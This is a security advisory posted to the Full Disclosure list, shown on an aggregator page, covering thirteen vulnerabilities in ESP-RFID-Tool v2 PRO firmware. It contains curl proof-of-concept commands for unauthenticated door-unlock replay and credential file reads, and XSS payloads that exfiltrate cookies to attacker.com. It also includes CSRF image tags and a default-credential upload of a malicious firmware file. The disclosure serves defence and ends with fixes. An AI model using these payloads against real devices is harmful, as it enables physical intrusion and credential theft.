惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
Threatpost
aimingoo的专栏
aimingoo的专栏
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
T
Tailwind CSS Blog
J
Java Code Geeks
博客园_首页
Google Online Security Blog
Google Online Security Blog
Hugging Face - Blog
Hugging Face - Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
I
Intezer
P
Palo Alto Networks Blog
V
Vulnerabilities – Threatpost
雷峰网
雷峰网
O
OpenAI News
SecWiki News
SecWiki News
小众软件
小众软件
酷 壳 – CoolShell
酷 壳 – CoolShell
美团技术团队
N
News | PayPal Newsroom
Project Zero
Project Zero
Forbes - Security
Forbes - Security
IT之家
IT之家
A
Arctic Wolf
WordPress大学
WordPress大学
Jina AI
Jina AI
T
Tor Project blog
博客园 - 三生石上(FineUI控件)
S
Secure Thoughts
Google DeepMind News
Google DeepMind News
Attack and Defense Labs
Attack and Defense Labs
博客园 - 聂微东
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
P
Privacy International News Feed
Cloudbric
Cloudbric
G
GRAHAM CLULEY
博客园 - 叶小钗
H
Hacker News: Front Page
腾讯CDC
量子位
Help Net Security
Help Net Security
人人都是产品经理
人人都是产品经理
C
Cyber Attacks, Cyber Crime and Cyber Security
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
宝玉的分享
宝玉的分享
爱范儿
爱范儿
L
Lohrmann on Cybersecurity
Hacker News - Newest:
Hacker News - Newest: "LLM"
Recorded Future
Recorded Future
C
CERT Recently Published Vulnerability Notes

Full Disclosure

[NotCVE-2026-0001] Cloudflare Universal SSL CAA augmentation weakens RFC 8657 account binding — CVE-2026-14440 assigned 163 days after public no-CVE disclosure Full Disclosure: Subject: Advisory Submission: EZ Game Booster Full Disclosure: CVE-2026-56877 - Skillable SCORM userId authorisation bypass Full Disclosure: [REVIVE-SA-2026-003] Revive Adserver Vulnerabilities Full Disclosure: OPNsense XPATH Injection (CVE-2026-53582) Authentication Bypass for SafeLine SL6 and SL6+ confidentiality and anonymity leakage to third parties Full Disclosure: OpenBlow Multiple Deanonymization Vulnerabilities Site-access password exposed in web server access logs via GET query string Full Disclosure: APPLE-SA-06-29-2026-3 Safari 26.5.2 Full Disclosure: APPLE-SA-06-29-2026-2 macOS Tahoe 26.5.2 APPLE-SA-06-29-2026-1 iOS 26.5.2 and iPadOS 26.5.2 symlink following and TOCTOU in privileged upload handler allow arbitrary file write as root [KIS-2026-12] Control Web Panel <= 0.9.8.1224 (userRes) SQL Injection Vulnerability Full Disclosure: [fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln Full Disclosure: Samsung Galaxy Buds – Zero-Click HFP/A2DP Takeover via L2CAP Session Preemption (Vendor Response: Working as Intended) Full Disclosure: Asterisk Security Release 23.4.1 Full Disclosure: Asterisk Security Release 22.10.1 Full Disclosure: Asterisk Security Release 21.12.3 Full Disclosure: Asterisk Security Release 20.20.1 Certified Asterisk Security Release certified-22.8-cert3 Certified Asterisk Security Release certified-20.7-cert11 Zig std.http chunked reader integer overflow -> unauthenticated remote DoS Remote Kernel Stack Disclosure via MPLS Label Stack Over-read Full Disclosure: OpenBSD sppp_pap_input: PAP authentication bypass Full Disclosure: SEC Consult SA-20260618-0 :: Hardcoded Root Cloud Credentials in Application Binaries in Silver Leaf Technologies Full Disclosure: SEC Consult SA-20260617-1 :: Multiple Vulnerabilities in Quanos Content Solutions Multiple Critical Vulnerabilities in Sprecher Automation SPRECON-E-C/-E-P/-E-T3 Full Disclosure: SEC Consult SA-20260616-0 :: Broken Access Control in syracom AG Secure Login (2FA) for Atlassian Jira / Confluence APPLE-SA-06-16-2026-1 Beats Firmware Update 1B211 PHP 8.5.7 `levenshtein()` signed-integer overflow Full Disclosure: PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read Cross-Tenant Authentication Bypass by Spoofing in N-able Mail Assure Multiple Vulnerabilities in Wertheim SafeController Hardware for VAULT ROOMS (Safe Deposit Locker System – Microcontroller) Multiple Critical Vulnerabilities in Wertheim SafeController Software for VAULT ROOMS (Safe Deposit Locker System) Local Privilege Escalation in Slate Digital Connect (macOS) Full Disclosure: SEC Consult SA-20260609-0 :: Multiple Local Privilege Escalation Vulnerabilities in Waves Audio [KIS-2026-11] Discuz! <= X5.0 (enable_disable.php) Local File Inclusion Vulnerability [KIS-2026-10] Discuz! <= X5.0 OCR-based CAPTCHA Bypass Vulnerability [KIS-2026-09] Discuz! X5.0 (UC_KEY) Cross-Context Token Reuse Vulnerability Privilege Escalation via Binary Planting in Genetec-provided RabbitMQ in multiple Genetec products [SYSS-2026-004] SAP NetWeaver SAML XML Signature Wrapping Full Disclosure: [REVIVE-SA-2026-002] Revive Adserver Vulnerabilities Full Disclosure: CyberDanube Security Research 20260528-0 four vulnerabilities — two unfixed, GHSA without a CVE Full Disclosure: Re: Dovecot Security Advisory OXDC-2026-0002 SSRF in Anthropic mcp-server-fetch and Microsoft playwright-mcp — publicly disclosed via GitHub issues Full Disclosure: [SECURITY ADVISORY] CVE-2021-21735 Full Disclosure: [SECURITY ADVISORY] CVE-2026-34474 Full Disclosure: [SECURITY ADVISORY] CVE-2026-34472 Full Disclosure: [SECURITY ADVISORY] CVE-2026-34473 Multiple vulnerabilities in Sparx Pro Cloud Server and Enterprise Architect Full Disclosure: APPLE-SA-05-13-2026-1 Safari 26.5 Full Disclosure: APPLE-SA-05-11-2026-11 visionOS 26.5 Full Disclosure: APPLE-SA-05-11-2026-10 watchOS 26.5 Full Disclosure: APPLE-SA-05-11-2026-9 tvOS 26.5 Full Disclosure: APPLE-SA-05-11-2026-8 macOS Sonoma 14.8.7 Full Disclosure: APPLE-SA-05-11-2026-7 macOS Sequoia 15.7.7 APPLE-SA-05-11-2026-5 iOS 15.8.8 and iPadOS 15.8.8 APPLE-SA-05-11-2026-4 iOS 16.7.16 and iPadOS 16.7.16 Full Disclosure: APPLE-SA-05-11-2026-3 iPadOS 17.7.11 APPLE-SA-05-11-2026-2 iOS 18.7.9 and iPadOS 18.7.9 APPLE-SA-05-11-2026-1 iOS 26.5 and iPadOS 26.5 Impersonation attacks on Edupage portal Edupage web and mobile application authorization bypass leaks PII and IBAN codes Full Disclosure: Dovecot Security Advisory OXDC-2026-0002 Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971) Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847) DLL Hijacking in EfficientLab Controlio (cloud-based employee monitoring service) Broken Access Control in Config Endpoint in LiteLLM Exposed Private Key of X.509 Certificate in SAP HANA Cockpit & SAP HANA Database Explorer APPLE-SA-04-22-2026-2 iOS 18.7.8 and iPadOS 18.7.8 APPLE-SA-04-22-2026-1 iOS 26.4.2 and iPadOS 26.4.2 When Trusted Tools Become Attack Primitives [KIS-2026-08] SocialEngine <= 7.8.0 (get-memberall) SQL Injection Vulnerability [KIS-2026-07] SocialEngine <= 7.8.0 Blind Server-Side Request Forgery Vulnerability Full Disclosure: Trojan-Spy.Win32.Small / Remote Command Execution Full Disclosure: [IWCC 2026] CfP: 15th International Workshop on Cyber Crime GoAnywhere MFT Email HTML Injection Full Disclosure: CyberDanube Security Research 20260408-1 Full Disclosure: CyberDanube Security Research 20260408-0 Improper Enforcement of Locked Accounts in WebUI (SSO) in Kiuwan SAST on-premise (KOP) & cloud/SaaS Broken Access Control in Open WebUI Full Disclosure: SEC Consult SA-20260326-0 :: Local Privilege Escalation in Vienna Assistant (MacOS) 14 Third-Party Endpoints, 6 Countries, Zero User Visibility [KIS-2026-06] MetInfo CMS <= 8.1 (weixinreply.class.php) PHP Code Injection Vulnerability [CVE-2026-33691] OWASP CRS whitespace padding bypass vulnerability Full Disclosure: APPLE-SA-03-24-2026-10 Xcode 26.4 Full Disclosure: APPLE-SA-03-24-2026-9 Safari 26.4 Full Disclosure: APPLE-SA-03-24-2026-8 visionOS 26.4 Full Disclosure: APPLE-SA-03-24-2026-7 watchOS 26.4 Full Disclosure: APPLE-SA-03-24-2026-6 tvOS 26.4 Full Disclosure: APPLE-SA-03-24-2026-5 macOS Sonoma 14.8.5 Full Disclosure: APPLE-SA-03-24-2026-4 macOS Sequoia 15.7.5 Full Disclosure: APPLE-SA-03-24-2026-3 macOS Tahoe 26.4 APPLE-SA-03-24-2026-2 iOS 18.7.7 and iPadOS 18.7.7 APPLE-SA-03-24-2026-1 iOS 26.4 and iPadOS 26.4
ESP-RFID-Tool v2 PRO — Full Public Disclosure
2026-04-30 · via Full Disclosure
fulldisclosure logo

Full Disclosure mailing list archives


From: Milan Berger via Fulldisclosure <fulldisclosure () seclists org>
Date: Tue, 28 Apr 2026 20:08:50 +0200

# Security Advisory: ESP-RFID-Tool v2 PRO

**Product:** ESP-RFID-Tool v2 PRO
**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de
**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2
**Affected Version:** v2.2.1 (latest as of 2026-04-28)
**Severity:** CRITICAL
**Disclosure Type:** Full Public Disclosure
**Disclosure Date:** 2026-04-28
**Researcher:** Milan 't4c' Berger

---

## Disclosure Timeline

| Date | Event |
|------|-------|
| 2026-04-26 | Vulnerabilities discovered during code review |
| 2026-04-27 | Researcher posted responsible disclosure comment on his
advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher posted responsible disclosure comment again on
his advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher attempted contact via additional social media
channels |
| 2026-04-28 | Vendor blocked researcher on all contacted channels; no
acknowledgment given |
| 2026-04-28 | Full public disclosure — 48h contact window exhausted,
vendor uncooperative |

---

## Summary

The ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by
Raik Schneider targeting security researchers and red team operators. It is
based on an ESP8266 microcontroller and provides a web interface for
logging, replaying, and analyzing Wiegand RFID data from physical access
control systems.

Multiple critical security vulnerabilities were identified in firmware
v2.2.1. The most severe findings allow any unauthenticated attacker with
network access to: replay captured RFID credentials against physical door
locks, read the complete device configuration including plaintext
passwords, and permanently destroy all captured evidence — all without
authentication.

Note: A full practical verification of all exploits involving physical
signal transmission could not be performed as no Wiegand access terminal
was available during testing.

The vendor was notified through all available channels. All notifications
were deleted, and the researcher was blocked. Full disclosure follows.

---

## Vulnerability Summary

| ID | Severity | Title |
|----|----------|-------|
| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX — Physical Access
Control Bypass |
| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth
present, but trivially bypassed) |
| ESPR-03 | **CRITICAL** | Path Traversal — Arbitrary SPIFFS File Read |
| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |
| ESPR-05 | **HIGH** | Stored XSS via Log Injection |
| ESPR-06 | **HIGH** | Hardcoded Default Credentials |
| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |
| ESPR-08 | **MEDIUM** | No CSRF Protection — Entire Application |
| ESPR-09 | **MEDIUM** | Plaintext FTP Server |
| ESPR-10 | **MEDIUM** | Missing Security Response Headers |
| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |
| ESPR-12 | **LOW** | Predictable AP SSID — Device Fingerprinting |
| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |

---

## Detailed Findings

---

### ESPR-01 — Unauthenticated Wiegand TX: Physical Access Control Bypass

**Severity:** CRITICAL
**File:** `api_server.cpp`
**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`

**Description:**
All Wiegand transmission API endpoints execute hardware TX operations
without any authentication check. Any attacker on the same network can
replay arbitrary Wiegand bitstreams to downstream access control hardware —
unlocking physical doors, gates, or secured areas — with a single
unauthenticated HTTP GET request.

**Vulnerable Code:**
```cpp
server.on("/api/tx/bin", []() {
    // ...
    // No server.authenticate() call
    apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);
});
```

**Proof of Concept:**
```bash
# Replay a captured 26-bit HID card to open a door
curl "
http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001&pulsewidth=40&interval=2000
"

# Re-encode a known UID and transmit
curl "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF&format=26";

# Instant transmission (no response wait)
curl "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001
"
```

**Impact:**
Physical security bypass. An attacker who previously captured a card UID
(e.g. via ESPR-07) can immediately replay it to open the corresponding door
— all from an unauthenticated HTTP request. This completely undermines the
device's operational security model.

---

### ESPR-02 — Log Deletion via Default Credentials

**Severity:** MEDIUM
**File:** `esprfidtool.ino`
**Endpoints:** `/deletelog`, `/deletelog/yes`

**Description:**
`/deletelog/yes` requires HTTP Basic Authentication. However, the default
credentials (`admin:rfidtool`) are hardcoded and publicly known via the
open-source repository. Combined with ESPR-06, any attacker with knowledge
of the default credentials can permanently delete all captured RFID logs.
`/deletelog` (the confirmation page) has **no authentication**, which also
makes it a direct XSS vector (see ESPR-04).

**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without
credentials. This finding was initially rated CRITICAL based on static code
analysis of an earlier version; auth is present in the tested build.

**Vulnerable Code:**
```cpp
server.on("/deletelog/yes", [](){
  if(!server.authenticate(update_username, update_password))
    return server.requestAuthentication();
  // Auth present — but default credentials are public (admin:rfidtool)
  SPIFFS.remove(deletelog);
});
```

**Proof of Concept:**
```bash
# Delete log using publicly known default credentials
curl -u admin:rfidtool "http://192.168.1.1/deletelog/yes?payload=/log.txt";
```

**Impact:**
Any attacker who knows the default credentials (publicly available) can
permanently destroy all captured evidence. Severity is driven by ESPR-06
(hardcoded defaults) — fixing one without the other provides no real
protection.

---

### ESPR-03 — Path Traversal: Arbitrary SPIFFS File Read

**Severity:** CRITICAL
**File:** `esprfidtool.ino` — `ViewLog()`

**Description:**
The `payload` parameter is passed directly to `SPIFFS.open()` without any
path validation or sanitization. An unauthenticated attacker can read any
file stored in the device's SPIFFS filesystem, including configuration
files containing plaintext credentials.

**Vulnerable Code:**
```cpp
void ViewLog(){
  String payload;
  payload += server.arg(0);  // raw URL arg, no sanitization
  File f = SPIFFS.open(payload, "r");
  // outputs file content directly to browser
}
```

**Proof of Concept:**
```bash
# Note: server.arg(0) reads the FIRST URL argument by position, not by name.
# The correct syntax is ?<filename>, not ?payload=<filename>

# Read device configuration (contains credentials in plaintext)
curl "http://192.168.1.1/viewlog?/esprfidtool.json";

# Read log files (enumerate first via /api/listlogs)
curl "http://192.168.1.1/viewlog?/log.txt";

# List all available filenames first
curl "http://192.168.1.1/api/listlogs";
```

**Note:** The endpoint only returns content if the file exists on SPIFFS.
The config file `/esprfidtool.json` is filtered from `ListLogs()` output
but is NOT
filtered in `ViewLog()`, making it directly readable via this endpoint.

**Example Response:**
```json
{
  "ssid": "HomeNetwork",
  "password": "mysecretwifi",
  "update_username": "admin",
  "update_password": "rfidtool",
  "ftp_username": "ftp-admin",
  "ftp_password": "rfidtool"
}
```

**Impact:**
Full information disclosure. WiFi credentials, admin passwords, FTP
credentials, and all captured RFID card data (UIDs, bitstreams) are exposed
to any unauthenticated attacker.

---

### ESPR-04 — Reflected Cross-Site Scripting (XSS)

**Severity:** HIGH
**File:** `esprfidtool.ino` — `DeleteLog()`
**Endpoint:** `GET /deletelog`

**Description:**
The `payload` URL parameter is reflected directly into the HTML response
body without sanitization or HTML encoding. An attacker can inject
arbitrary JavaScript that executes in the victim's browser.

**Vulnerable Code:**
```cpp
// server.arg("payload") embedded directly into HTML — no htmlEncode()
server.send(200, "text/html", "... Deleting: " + payload + " ...");
```

**Proof of Concept:**
```
# Basic alert PoC
http://192.168.1.1/deletelog?payload=<script>alert('Sag Danke')</script>

# Cookie exfiltration
http://192.168.1.1/deletelog?payload=<script>document.location='
http://attacker.com/?c='+document.cookie
<http://attacker.com/?c=%27+document.cookie></script>

# Credential phishing overlay (effective in captive portal context)
http://192.168.1.1/deletelog?payload=<script>document.body.innerHTML='<form
action="http://attacker.com/steal";><input name="u"
placeholder="Username"><input name="p" type="password"
placeholder="Password"><input type="submit"></form>'</script>
```

**Impact:**
Session hijacking, credential theft, UI redressing. Severity is elevated
because the device operates as a captive portal — victims auto-connect and
are served the attacker-controlled page.

---

### ESPR-05 — Stored XSS via Log Injection

**Severity:** HIGH
**File:** `esprfidtool.ino` (log write path)

**Description:**
Log entries are written to SPIFFS containing raw data including HTML
markup. When logs are rendered via `ViewLog()` or `ListLogs()` without
output encoding, an attacker who can inject HTML/JavaScript into a log
entry achieves persistent stored XSS. This can be triggered by sending a
crafted Wiegand signal or via the unauthenticated TX API.

**Proof of Concept:**
```bash
# Inject XSS payload via unauthenticated TX endpoint
# Craft a bitstream that results in a log entry containing script tags
# The exact binary depends on how the logging function serializes data,
# but the vector is confirmed by the absence of HTML encoding on log output.

# After injection, any admin viewing logs triggers the payload:
curl "http://192.168.1.1/viewlog?payload=/log.txt";
# -> <script>...</script> executes in admin browser
```

**Impact:**
Persistent XSS. Any administrator viewing the log file executes
attacker-controlled JavaScript. Can be used to steal credentials or pivot
to further attacks.

---

### ESPR-06 — Hardcoded Default Credentials

**Severity:** HIGH
**File:** `esprfidtool.ino` — `loadDefaults()`

**Description:**
Default credentials are hardcoded and publicly known via the open-source
repository. No forced credential change on first boot.

| Service | Username | Password |
|---------|----------|----------|
| Web Interface / OTA Update | `admin` | `rfidtool` |
| FTP Server | `ftp-admin` | `rfidtool` |
| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |

**Proof of Concept:**
```bash
# Authenticated firmware update with known default credentials
curl -u admin:rfidtool "http://192.168.1.1:1337/update"; -F
"image=@malicious.bin"

# FTP login
ftp 192.168.1.1
# Login: ftp-admin / rfidtool
```

**Impact:**
Trivial full authentication bypass for all credential-protected endpoints.
Anyone familiar with the product has immediate access.

---

### ESPR-07 — Unauthenticated Log View + Filesystem Enumeration

**Severity:** HIGH
**File:** `esprfidtool.ino`
**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,
`/api/lastread`

**Description:**
All log viewing and filesystem enumeration endpoints require no
authentication. The `/api/lastread` endpoint additionally exposes the last
captured card in real time.

**Proof of Concept:**
```bash
# Enumerate all files on device
curl "http://192.168.1.1/api/listlogs";

# Read captured card data
curl "http://192.168.1.1/api/lastread";
# Response:
{"bits":26,"bitstream":"01001100...","uid":"0A1B2C3D","format":"HID26"}

# Get device info (firmware version, free space)
curl "http://192.168.1.1/api/info";
```

**Impact:**
Complete exfiltration of all captured RFID card data without any
authentication.

---

### ESPR-08 — No CSRF Protection

**Severity:** MEDIUM
**Scope:** All endpoints

**Description:**
No CSRF tokens exist. No `SameSite` cookie attributes. No
`Origin`/`Referer` validation. An attacker who can get an operator to visit
a malicious webpage triggers arbitrary device actions.

**Proof of Concept:**
```html
<!-- Malicious webpage — operator visits while connected to device AP -->
<!-- Silently deletes all logs -->
<img src="http://192.168.1.1/deletelog/yes?payload=/log.txt";
style="display:none">

<!-- Opens a door via CSRF + unauthenticated TX (ESPR-01) -->
<img src="
http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001&pulsewidth=40&interval=2000";
style="display:none">
```

---

### ESPR-09 — Plaintext FTP Server

**Severity:** MEDIUM

FTP credentials and all transferred log data (card UIDs, bitstreams) are
transmitted in cleartext. Trivially intercepted on shared WiFi networks.

---

### ESPR-10 — Missing Security Response Headers

**Severity:** MEDIUM

No HTTP responses include:
- `Content-Security-Policy` — allows unrestricted script execution
(amplifies XSS)
- `X-Frame-Options` — clickjacking via iframe
- `X-Content-Type-Options`
- `Cache-Control` on sensitive endpoints

---

### ESPR-11 — No Input Validation on Integer Parameters

**Severity:** MEDIUM
**File:** `api_server.cpp`

```cpp
api_pulsewidth = server.arg("pulsewidth").toInt();  // no bounds check
api_datainterval = server.arg("interval").toInt();   // no bounds check
api_wait = server.arg("wait").toInt();               // no bounds check
```

`toInt()` returns 0 on invalid input. Negative values or extreme integers
passed to `apiTX()` may cause undefined hardware behavior or firmware
crashes.

---

### ESPR-12 — Predictable AP SSID

**Severity:** LOW

Default SSID `ESP-RFID-Tool` allows passive wardriving to identify and
target deployed units. A trivial scanner can auto-enumerate all deployed
devices in range.

---

### ESPR-13 — Captive Portal as Attack Force-Multiplier

**Severity:** INFO

The device runs a DNS server resolving all domains to itself. Victims
auto-connecting to the AP have all their HTTP traffic redirected to the
device. Combined with XSS findings (ESPR-04, ESPR-05), this enables
large-scale credential phishing against unknowing users.

---

## Recommendations

1. Add `server.authenticate()` to **all** endpoints, not only `/settings`
2. HTML-encode all URL parameters before inserting into HTML responses
3. Restrict `SPIFFS.open()` to a whitelist of allowed log filenames
4. Implement CSRF token validation for all state-changing requests
5. Force credential change on first boot
6. Add `Content-Security-Policy` and other security headers to all responses
7. Validate and bound-check all integer parameters
8. Consider disabling FTP by default; document security implications clearly

---

## Researcher

**Discovered and reported by:** Milan 't4c' Berger
**Disclosure policy:** Responsible disclosure attempted. Vendor deleted all
notifications and blocked researcher on all channels within 48 hours. Full
public disclosure follows as per standard responsible disclosure practice.

---

*This advisory is published in the public interest. The ESP-RFID-Tool v2
PRO is a commercial product sold for security research and red team use.
Customers of this product should be aware that the device itself contains
critical security vulnerabilities and may be compromised by any party with
network access.*
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

  • ESP-RFID-Tool v2 PRO — Full Public Disclosure Milan Berger via Fulldisclosure (Apr 29)